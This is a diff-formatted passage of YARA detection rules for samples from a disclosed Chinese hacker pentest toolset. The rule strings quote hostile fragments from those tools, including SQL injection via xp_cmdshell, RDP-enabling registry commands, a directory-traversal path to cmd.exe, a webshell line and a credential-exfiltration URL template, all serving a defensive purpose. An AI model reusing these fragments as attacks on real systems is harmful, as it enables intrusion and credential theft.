+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "372bc64c842f6ff0d9a1aa2a2a44659d8b88cb40"
+		id = "75f3c33a-e3b8-57bc-a3fd-f8b6491388d8"
+	strings:
+		$s1 = "iisantidote <logfile dir> <ip or string to hide>" fullword ascii /* PEStudio Blacklist: strings */
+		$s4 = "IIS log file cleaner by Scurt" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 200KB and all of them
+}
+
+rule CN_Honker_arp3_7_arp3_7 {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file arp3.7.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "db641a9dfec103b98548ac7f6ca474715040f25c"
+		id = "a4aeefaf-a097-5ba3-a18f-54a1b9752883"
+	strings:
+		$s1 = "CnCerT.Net.SKiller.exe" fullword wide /* PEStudio Blacklist: strings */
+		$s2 = "www.80sec.com" fullword wide
+	condition:
+		uint16(0) == 0x5a4d and filesize < 4000KB and all of them
+}
+
+rule CN_Honker_exp_ms11080 {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file ms11080.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "f0854c49eddf807f3a7381d3b20f9af4a3024e9f"
+		id = "2f5ce2f3-3595-5729-be0c-3f6486cb94fd"
+	strings:
+		$s2 = "[*] command add user 90sec 90sec" fullword ascii /* PEStudio Blacklist: strings */
+		$s6 = "[*] Add to Administrators success" fullword ascii /* PEStudio Blacklist: strings */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 840KB and all of them
+}
+
+rule CN_Honker_Injection_transit {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file Injection_transit.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "f4fef2e3d310494a3c3962a49c7c5a9ea072b2ea"
+		id = "8600c86f-0da1-5ddb-bae5-69358cf53e7c"
+	strings:
+		$s0 = "<description>Your app description here</description> " fullword ascii /* PEStudio Blacklist: strings */
+		$s4 = "Copyright (C) 2003 ZYDSoft Corp." fullword wide /* PEStudio Blacklist: os */
+		$s5 = "ScriptnackgBun" fullword ascii /* PEStudio Blacklist: strings */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 3175KB and all of them
+}
+
+rule CN_Honker_Safe3WVS {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file Safe3WVS.EXE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "fee3acacc763dc55df1373709a666d94c9364a7f"
+		id = "035ecb73-3dbc-55d2-8d0c-b71308094d18"
+	strings:
+		$s0 = "2TerminateProcess" fullword ascii /* PEStudio Blacklist: strings */
+		$s1 = "mscoreei.dll" fullword ascii /* reversed goodware string 'lld.ieerocsm' */
+		$s7 = "SafeVS.exe" fullword wide
+		$s8 = "www.safe3.com.cn" fullword wide
+		$s20 = "SOFTWARE\\Classes\\Interface\\" ascii /* PEStudio Blacklist: strings */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 3000KB and all of them
+}
+
+rule CN_Honker_NBSI_3_0 {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file NBSI 3.0.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "93bf0f64bec926e9aa2caf4c28df9af27ec0e104"
+		id = "be8d0dce-4f7f-5f18-9ed0-99fc1dc2b22f"
+	strings:
+		$s1 = ";use master declare @o int exec sp_oacreate 'wscript.shell',@o out exec sp_oamet" wide /* PEStudio Blacklist: strings */
+		$s2 = "http://localhost/1.asp?id=16" fullword ascii /* PEStudio Blacklist: strings */
+		$s3 = " exec master.dbo.xp_cmdshell @Z--" fullword wide /* PEStudio Blacklist: strings */
+		$s4 = ";use master declare @o int exec sp_oacreate 'wscript.shell',@o out exec sp_oamet" wide /* PEStudio Blacklist: strings */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 2600KB and 2 of them
+}
+
+rule CN_Honker_sig_3389_DUBrute_v3_0_RC3_2_0 {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file 2.0.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "e8ee982421ccff96121ffd24a3d84e3079f3750f"
+		id = "dda5eea9-da79-5f1f-bbac-9f05ba7e71c9"
+	strings:
+		$s0 = "IP - %d; Login - %d; Password - %d; Combination - %d" fullword ascii /* PEStudio Blacklist: strings */
+		$s3 = "Create %d IP@Loginl;Password" fullword ascii /* PEStudio Blacklist: strings */
+		$s15 = "UBrute.com" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 980KB and 2 of them
+}
+
+rule CN_Honker_hkmjjiis6 {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file hkmjjiis6.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		modified = "2023-01-27"
+		score = 70
+		hash = "4cbc6344c6712fa819683a4bd7b53f78ea4047d7"
+		id = "badf8224-4f09-57aa-ab16-0d70e0b3f88c"
+	strings:
+		$s14 = "* FROM IIsWebInfo/r" fullword ascii
+		$s19 = "ltithread4ck/" ascii
+		$s20 = "LookupAcc=Sid#" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 175KB and all of them
+}
+
+rule CN_Honker_clearlogs {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file clearlogs.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		modified = "2023-01-27"
+		score = 70
+		hash = "490f3bc318f415685d7e32176088001679b0da1b"
+		id = "bfbc339e-5530-5984-94de-be1002f09ca1"
+	strings:
+		$s2 = "- http://ntsecurity.nu/toolbox/clearlogs/" ascii /* PEStudio Blacklist: strings */
+		$s4 = "Error: Unable to clear log - " fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 140KB and all of them
+}
+
+rule CN_Honker_no_net_priv_esc_AddUser {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file AddUser.dll"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "4c95046be6ae40aee69a433e9a47f824598db2d4"
+		id = "0f99914c-9349-5870-a3e0-3a5079efdecf"
+	strings:
+		$s0 = "PECompact2" fullword ascii /* PEStudio Blacklist: strings */
+		$s1 = "adduser" fullword ascii
+		$s5 = "OagaBoxA" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 115KB and all of them
+}
+
+rule CN_Honker_Injection {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file Injection.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "3484ed16e6f9e0d603cbc5cb44e46b8b7e775d35"
+		id = "8600c86f-0da1-5ddb-bae5-69358cf53e7c"
+	strings:
+		$s0 = "http://127.0.0.1/6kbbs/bank.asp" fullword ascii /* PEStudio Blacklist: strings */
+		$s7 = "jmPost.asp" fullword wide /* PEStudio Blacklist: strings */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 220KB and all of them
+}
+
+rule CN_Honker_SQLServer_inject_Creaked {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file SQLServer_inject_Creaked.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "af3c41756ec8768483a4cf59b2e639994426e2c2"
+		id = "9a8a77c2-9e06-5694-8055-4480ab932520"
+	strings:
+		$s1 = "http://localhost/index.asp?id=2" fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "Email:zhaoxypass@yahoo.com.cn<br>" fullword ascii /* PEStudio Blacklist: strings */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 8110KB and all of them
+}
+
+rule CN_Honker_WebScan_WebScan {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file WebScan.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "a0b0e2422e0e9edb1aed6abb5d2e3d156b7c8204"
+		id = "1545494b-9a74-5b2e-921c-e54dd5ac4b51"
+	strings:
+		$s1 = "wwwscan.exe" fullword wide /* PEStudio Blacklist: strings */
+		$s2 = "WWWScan Gui" fullword wide /* PEStudio Blacklist: strings */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 700KB and all of them
+}
+
+rule CN_Honker_GetHashes_2 {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file GetHashes.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "35ae9ccba8d607d8c19a065cf553070c54b091d8"
+		id = "31117d2e-caf1-58c9-8525-b40b73097928"
+	strings:
+		$s1 = "GetHashes.exe <SAM registry file> [System key file]" fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "GetHashes.exe $Local" fullword ascii
+		$s3 = "The system key doesn't match SAM registry file!" fullword ascii /* PEStudio Blacklist: strings */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 300KB and 2 of them
+}
+
+rule SUSP_Patcher_Keygen_Indicators_Jun15 {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "e32f5de730e324fb386f97b6da9ba500cf3a4f8d"
+		id = "4dd65e4b-8178-5576-9740-b3c80a8127e2"
+	strings:
+		$s0 = "<description>Patch</description>" fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "\\dup2patcher.dll" ascii
+		$s3 = "load_patcher" fullword ascii /* PEStudio Blacklist: strings */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 4000KB and all of them
+}
+
+rule CN_Honker_Tuoku_script_oracle_2 {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file oracle.txt"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "865dd591b552787eda18ee0ab604509bae18c197"
+		id = "b88a0faa-1616-5f1b-80dc-6e6a2f0cb671"
+	strings:
+		$s0 = "webshell" fullword ascii /* PEStudio Blacklist: strings */
+		$s1 = "Silic Group Hacker Army " fullword ascii
+	condition:
+		filesize < 3KB and all of them
+}
+
+rule CN_Honker_net_packet_capt {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file net_packet_capt.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "2d45a2bd9e74cf14c1d93fff90c2b0665f109c52"
+		id = "16e19be7-3805-5e2b-baa6-20554fb7a5cf"
+	strings:
+		$s1 = "(*.sfd)" fullword ascii
+		$s2 = "GetLaBA" fullword ascii
+		$s3 = "GAIsProcessorFeature" fullword ascii /* PEStudio Blacklist: strings */ /* Goodware String - occured 1 times */
+		$s4 = "- Gablto " ascii
+		$s5 = "PaneWyedit" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 50KB and all of them
+}
+
+rule CN_Honker_CleanIISLog {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file CleanIISLog.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "827cd898bfe8aa7e9aaefbe949d26298f9e24094"
+		id = "3931ba63-faf5-5b44-879c-105cd2812712"
+	strings:
+		$s1 = "Usage: CleanIISLog <LogFile>|<.> <CleanIP>|<.>" fullword ascii /* PEStudio Blacklist: strings */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 200KB and all of them
+}
+
+rule CN_Honker_HASH_pwhash {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file pwhash.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "689056588f95749f0382d201fac8f58bac393e98"
+		id = "5d8c3648-a725-5f01-9800-b75b8c740cf1"
+	strings:
+		$s1 = "Example: quarks-pwdump.exe --dump-hash-domain --with-history" fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "quarks-pwdump.exe <options> <NTDS file>" fullword ascii /* PEStudio Blacklist: strings */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 1000KB and 1 of them
+}
+
+rule CN_Honker_cleaner_cl_2 {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file cl.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "523084e8975b16e255b56db9af0f9eecf174a2dd"
+		id = "9aa36c0a-9e0f-5274-bebe-9179d81b05f7"
+	strings:
+		$s0 = "cl -eventlog All/Application/System/Security" fullword ascii /* PEStudio Blacklist: strings */
+		$s1 = "clear iislog error!" fullword ascii /* PEStudio Blacklist: strings */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 50KB and all of them
+}
+
+rule CN_Honker_SqlMap_Python_Run {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file Run.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "a51479a1c589f17c77d22f6cf90b97011c33145f"
+		id = "308d929a-0f38-5db4-92c2-2a7bf25bb64f"
+	strings:
+		$s1 = ".\\Run.log" fullword ascii
+		$s2 = "[root@Hacker~]# Sqlmap " fullword ascii
+		$s3 = "%sSqlmap %s" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 30KB and all of them
+}
+
+rule CN_Honker_SAMInside {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file SAMInside.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "707ba507f9a74d591f4f2e2f165ff9192557d6dd"
+		id = "c5ac9f0a-d1af-59c3-9c13-91153180f3d8"
+	strings:
+		$s0 = "www.InsidePro.com" fullword wide
+		$s1 = "SAMInside.exe" fullword wide
+	condition:
+		uint16(0) == 0x5a4d and filesize < 650KB and all of them
+}
+
+rule CN_Honker_WebScan_wwwscan {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file wwwscan.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "6dbffa916d0f0be2d34c8415592b9aba690634c7"
+		id = "defe0024-f94a-560a-a9f6-b3849b41f9bb"
+	strings:
+		$s1 = "%s www.target.com -p 8080 -m 10 -t 16" fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "GET /nothisexistpage.html HTTP/1.1" fullword ascii
+		$s3 = "<Usage>:  %s <HostName|Ip> [Options]" fullword ascii /* PEStudio Blacklist: strings */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 60KB and all of them
+}
+
+rule CN_Honker_sig_3389_2_3389 {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file 3389.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "48d1974215e5cb07d1faa57e37afa91482b5a376"
+		id = "8b2f5f6d-4d7b-561c-bd77-2de351e5aca8"
+	strings:
+		$s1 = "C:\\Documents and Settings\\Administrator\\" ascii /* PEStudio Blacklist: strings */
+		$s2 = "net user guest /active:yes" fullword ascii /* PEStudio Blacklist: strings */
+		$s3 = "\\Microsoft Word.exe" ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 80KB and all of them
+}
+
+rule CN_Honker_PHP_php11 {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file php11.txt"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "dcc8226e7eb20e4d4bef9e263c14460a7ee5e030"
+		id = "e20eaab1-9799-5e61-9a25-3ac0dcce5f7f"
+	strings:
+		$s1 = "<tr><td><b><?php if (!$win) {echo wordwrap(myshellexec('id'),90,'<br>',1);} else" ascii /* PEStudio Blacklist: strings */
+		$s2 = "foreach (glob($_GET['pathtomass'].\"/*.htm\") as $injectj00) {" fullword ascii /* PEStudio Blacklist: strings */
+		$s3 = "echo '[cPanel Found] '.$login.':'.$pass.\"  Success\\n\";" fullword ascii /* PEStudio Blacklist: strings */
+	condition:
+		filesize < 800KB and all of them
+}
+
+rule CN_Honker_WebCruiserWVS {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file WebCruiserWVS.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "6c90a9ed4c8a141a343dab1b115cc840a7190304"
+		id = "16bed1e8-a1f0-5fcf-9c03-83625a388547"
+	strings:
+		$s0 = "id:uid:user:username:password:access:account:accounts:admin_id:admin_name:admin_" ascii /* PEStudio Blacklist: strings */
+		$s1 = "Created By WebCruiser - Web Vulnerability Scanner http://sec4app.com" fullword wide /* PEStudio Blacklist: strings */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 700KB and all of them
+}
+
+rule CN_Honker_Hookmsgina {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file Hookmsgina.dll"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "f4d9b329b45fbcf6a3b9f29f2633d5d3d76c9f9d"
+		id = "77813637-ec9f-599c-90c9-be1dd93b45f7"
+	strings:
+		$s1 = "\\\\.\\pipe\\WinlogonHack" fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "%s?host=%s&domain=%s&user=%s&pass=%s&port=%u" fullword ascii /* PEStudio Blacklist: strings */
+		$s3 = "Global\\WinlogonHack_Load%u" fullword ascii /* PEStudio Blacklist: strings */
+		$s4 = "Hookmsgina.dll" fullword ascii /* PEStudio Blacklist: strings */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 300KB and all of them
+}
+
+rule CN_Honker_sig_3389_xp3389 {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file xp3389.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "d776eb7596803b5b94098334657667d34b60d880"
+		id = "75d23c63-ba9e-55fd-90fe-5e054d28a777"
+	strings:
+		$s1 = "echo \"fdenytsconnections\"=dword:00000000 >> c:\\reg.reg" fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "echo [HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server] >" ascii /* PEStudio Blacklist: strings */
+		$s3 = "echo \"Tsenabled\"=dword:00000001 >> c:\\reg.reg" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 20KB and all of them
+}
+
+rule CN_Honker_CookiesView {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file CookiesView.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "c54e1f16d79066edfa0f84e920ed1f4873958755"
+		id = "71a43797-4b5b-5f87-a70e-ebabc00d9319"
+	strings:
+		$s0 = "V1.0  Http://www.darkst.com Code:New4" fullword ascii
+		$s1 = "maotpo@126.com" fullword ascii
+		$s2 = "www.baidu.com" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 640KB and all of them
+}
+
+rule CN_Honker_T00ls_Lpk_Sethc_v4_LPK {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file LPK.DAT"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "2b2ab50753006f62965bba83460e3960ca7e1926"
+		id = "808f5de2-1360-521e-8939-b759e361507c"
+	strings:
+		$s1 = "http://127.0.0.1/1.exe" fullword wide /* PEStudio Blacklist: strings */
+		$s2 = "FreeHostKillexe.exe" fullword ascii /* PEStudio Blacklist: strings */
+		$s3 = "\\sethc.exe /G everyone:F" ascii /* PEStudio Blacklist: strings */
+		$s4 = "c:\\1.exe" fullword ascii /* PEStudio Blacklist: strings */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 300KB and 1 of them
+}
+
+rule CN_Honker_ScanHistory {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file ScanHistory.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "14c31e238924ba3abc007dc5a3168b64d7b7de8d"
+		id = "85585cd2-c5ed-5465-bcac-b61211570055"
+	strings:
+		$s1 = "ScanHistory.exe" fullword wide /* PEStudio Blacklist: strings */
+		$s2 = ".\\Report.dat" fullword wide /* PEStudio Blacklist: strings */
+		$s3 = "select  * from  Results order by scandate desc" fullword wide /* PEStudio Blacklist: strings */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 200KB and all of them
+}
+
+rule CN_Honker_InvasionErasor {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file InvasionErasor.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "b37ecd9ee6b137a29c9b9d2801473a521b168794"
+		id = "03ccb643-9f92-5278-a358-65f56cf19ccc"
+	strings:
+		$s1 = "c:\\windows\\system32\\config\\*.*" fullword wide /* PEStudio Blacklist: strings */
+		$s2 = "c:\\winnt\\*.txt" fullword wide /* PEStudio Blacklist: os */
+		$s3 = "Command1" fullword ascii /* PEStudio Blacklist: strings */
+		$s4 = "Win2003" fullword ascii /* PEStudio Blacklist: os */
+		$s5 = "Win 2000" fullword ascii /* PEStudio Blacklist: os */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 60KB and all of them
+}
+
+rule CN_Honker_super_Injection1 {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file super Injection1.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "8ff2df40c461f6c42b92b86095296187f2b59b14"
+		id = "ad84c5a0-4f03-5040-bdf7-819b40a08ad2"
+	strings:
+		$s2 = "Invalid owner=This control requires version 4.70 or greater of COMCTL32.DLL" fullword wide /* PEStudio Blacklist: strings */
+		$s3 = "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)" fullword ascii /* PEStudio Blacklist: agent */
+		$s4 = "ScanInject.log" fullword ascii /* PEStudio Blacklist: strings */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 2000KB and all of them
+}
+
+rule CN_Honker_Pk_Pker {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file Pker.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "631787f27f27c46f79e58e1accfcc9ecfb4d3a2f"
+		id = "dff0e4fb-6b2e-5fa8-910d-63a9e5030b95"
+	strings:
+		$s1 = "/msadc/..%5c..%5c..%5c..%5cwinnt/system32/cmd.exe" fullword wide /* PEStudio Blacklist: strings */
+		$s2 = "msadc/..\\..\\..\\..\\winnt/system32/cmd.exe" fullword wide /* PEStudio Blacklist: strings */
+		$s3 = "--Made by VerKey&Only_Guest&Bincker" fullword wide /* PEStudio Blacklist: strings */
+		$s4 = ";APPLET;EMBED;FRAMESET;HEAD;NOFRAMES;NOSCRIPT;OBJECT;SCRIPT;STYLE;" fullword wide /* PEStudio Blacklist: strings */
+		$s5 = " --Welcome to Www.Pker.In Made by V.K" fullword wide
+		$s6 = "Report.dat" fullword wide /* PEStudio Blacklist: strings */
+		$s7 = ".\\Report.dat" fullword wide /* PEStudio Blacklist: strings */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 500KB and 5 of them
+}
+
+rule CN_Honker_GetPass_GetPass {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file GetPass.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "d18d952b24110b83abd17e042f9deee679de6a1a"
+		id = "999d0ac0-a112-53db-9dbe-10fa4419cfae"
+	strings:
+		$s1 = "\\only\\Desktop\\" ascii
+		$s2 = "To Run As Administuor" ascii /* PEStudio Blacklist: strings */
+		$s3 = "Key to EXIT ... & pause > nul" fullword ascii /* PEStudio Blacklist: strings */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 300KB and all of them
+}
+
+rule CN_Honker_F4ck_Team_BlackMoon_Jun15 {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file f4ck.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		old_rule_name = "CN_Honker_F4ck_Team_f4ck_3"
+		date = "2015-06-23"
+		score = 70
+		hash = "7e3bf9b26df08cfa10f10e2283c6f21f5a3a0014"
+		id = "df12daca-8e03-5382-b71d-96a747d3a043"
+	strings:
+		$s1 = "File UserName PassWord [comment] /add" fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "No Net.exe Add User" fullword ascii
+		$s3 = "BlackMoon RunTime Error:" fullword ascii
